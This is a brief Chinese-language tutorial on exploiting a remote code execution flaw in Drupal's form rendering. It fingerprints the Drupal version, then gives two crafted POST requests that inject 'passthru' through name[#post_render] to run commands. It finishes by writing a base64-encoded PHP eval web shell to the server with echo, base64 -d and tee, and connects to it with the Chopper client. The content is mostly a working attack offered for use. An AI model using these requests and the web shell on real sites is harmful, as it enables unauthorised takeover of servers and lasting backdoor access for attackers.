一、漏洞原理
该漏洞产生的原因在于Drupal对表单渲染时未进行严格的安全过滤,导致攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码。
二、确定版本
因为在Drupal 6.x,7.x,8.x系列的版本中,均存在远程代码执行漏洞。首先需要确定drupal版本。
-
方法一:
通过wappalyzer插件确定识别网站所使用的drupal版本
-
方法二:
通过/CHANGELOG.txt
、/UPGRADE.txt
等文件查看版本号
三、漏洞验证(drupal 7.x)
抓取数据包后需要发送两次http请求
第一次请求:
构造如下请求报文
POST /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id HTTP/1.1
......
form_id=user_pass&_triggering_element_name=name
找到form_build_id
第二次请求:
将value值放入第二次请求头中
POST /?q=file/ajax/name/%23value/form-4tbd3kG9Hz9fh-lnlPDxUZxYAIfgCJRny4q0jNykqkM HTTP/1.1
......
form_build_id=form-4tbd3kG9Hz9fh-lnlPDxUZxYAIfgCJRny4q0jNykqkM
发送后看到如下,可证明漏洞存在。
四、漏洞利用
-
上传poc:
<?php @eval($_REQUEST[777]); ?>
-
进行base64编码
PD9waHAgQGV2YWwoJF9SRVFVRVNUWzc3N10pOyA/Pg==
-
输出
echo%20%22PD9waHAgQGV2YWwoJF9SRVFVRVNUWzc3N10pOyA/Pg==%22|base64%20-d|tee%20tia.php
使用该条命令代替第一次请求的id -
使用菜刀可以直接进行连接